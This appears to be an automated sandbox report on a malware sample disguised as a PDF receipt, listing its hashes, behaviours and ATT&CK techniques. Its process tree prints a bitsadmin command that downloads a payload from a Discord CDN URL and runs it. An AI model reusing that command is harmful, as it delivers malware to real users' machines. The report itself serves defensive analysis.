103d49b3d4a0bdb4227674f8962821a88ac09d6ba6db2b779d07b598efbf5eeb

Analysis

max time kernel
82s
max time network
145s
platform
windows10_x64
resource
win10v20210408
submitted
08/07/2021, 08:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RECEIPT_PDF.exe
Size 382KB
Sample210708-mprb5lkn62
SHA256 a2fa84e5ecfde2e65cb13ae7b13be29c2bdca0b01e746cc6e015c92ed36c087a
MD5 ab0cc6143bdee10292eca9fb74a153ea
SHA1 d033676a11cba16ee1c7e687d4f9075aaa8e57d3
SHA512 d2ba68581578f10b0a13c5490463cccc09b21f821b9458ac1a083ec33cb361da89bb850101fcb80bdbb3f0c0e55c543f0e55169f6e453640eb1d81845e2e2c5d
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
4504	RECEIPT_pdf.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4504 set thread context of 4540	4504	RECEIPT_pdf.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4588	4540	WerFault.exe	93

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1220	bitsadmin.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	RECEIPT_PDF.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4504	RECEIPT_pdf.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3908	AcroRd32.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe
3908	AcroRd32.exe

Suspicious use of UnmapMainImage 3 IoCs

pid	Process
4540	RECEIPT_pdf.exe
4540	RECEIPT_pdf.exe
4540	RECEIPT_pdf.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 3908	3628	RECEIPT_PDF.exe	75
PID 3628 wrote to memory of 3908	3628	RECEIPT_PDF.exe	75
PID 3628 wrote to memory of 3908	3628	RECEIPT_PDF.exe	75
PID 3628 wrote to memory of 200	3628	RECEIPT_PDF.exe	77
PID 3628 wrote to memory of 200	3628	RECEIPT_PDF.exe	77
PID 3628 wrote to memory of 200	3628	RECEIPT_PDF.exe	77
PID 200 wrote to memory of 2648	200	WScript.exe	78
PID 200 wrote to memory of 2648	200	WScript.exe	78
PID 200 wrote to memory of 2648	200	WScript.exe	78
PID 2648 wrote to memory of 1220	2648	cmd.exe	80
PID 2648 wrote to memory of 1220	2648	cmd.exe	80
PID 2648 wrote to memory of 1220	2648	cmd.exe	80
PID 3908 wrote to memory of 1532	3908	AcroRd32.exe	81
PID 3908 wrote to memory of 1532	3908	AcroRd32.exe	81
PID 3908 wrote to memory of 1532	3908	AcroRd32.exe	81
PID 3908 wrote to memory of 3596	3908	AcroRd32.exe	82
PID 3908 wrote to memory of 3596	3908	AcroRd32.exe	82
PID 3908 wrote to memory of 3596	3908	AcroRd32.exe	82
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2728	1532	RdrCEF.exe	83
PID 1532 wrote to memory of 2288	1532	RdrCEF.exe	84
PID 1532 wrote to memory of 2288	1532	RdrCEF.exe	84
PID 1532 wrote to memory of 2288	1532	RdrCEF.exe	84
PID 1532 wrote to memory of 2288	1532	RdrCEF.exe	84
PID 1532 wrote to memory of 2288	1532	RdrCEF.exe	84

C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\DHL.pdf"
  2⤵
  - Checks processor information in registry
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5C5DBC2DC0D1CD13D424E7167B7B62B4 --mojo-platform-channel-handle=1636 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:2728
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4E4A9CF199FE8F4D12599D394EF35FCA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4E4A9CF199FE8F4D12599D394EF35FCA --renderer-client-id=2 --mojo-platform-channel-handle=1676 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:2288
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AA6C6A7F300B062847B62D19E1BCFAC7 --mojo-platform-channel-handle=2208 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:2204
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=8DF84A487184E7AE509D1B44B7EC2A4E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=8DF84A487184E7AE509D1B44B7EC2A4E --renderer-client-id=5 --mojo-platform-channel-handle=2220 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:584
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D09E1EF4FA2EB9A2883E7B6C29391AE3 --mojo-platform-channel-handle=2476 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4132
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F438B461763DED80EE3D1CB9ED1A4728 --mojo-platform-channel-handle=2584 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4236
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    PID:3596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\covid.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\covid.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\SysWOW64\bitsadmin.exe
      bitsadmin /transfer covid https://cdn.discordapp.com/attachments/842158048058540076/862582631030587403/RECEIPT_pdf.exe C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      4⤵
      Download via BitsAdmin
      PID:1220
  - - C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      4⤵
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      PID:4504
    - - C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
        
        C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
        5⤵
        Suspicious use of UnmapMainImage
        
        PID:4540
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 24
        6⤵
        Program crash
        
        PID:4588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/584-139-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download

memory/2204-135-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download

memory/2288-129-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download

memory/2728-125-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download

memory/4132-145-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download

memory/4236-149-0x0000000076EF2000-0x0000000076EF200C-memory.dmp

Download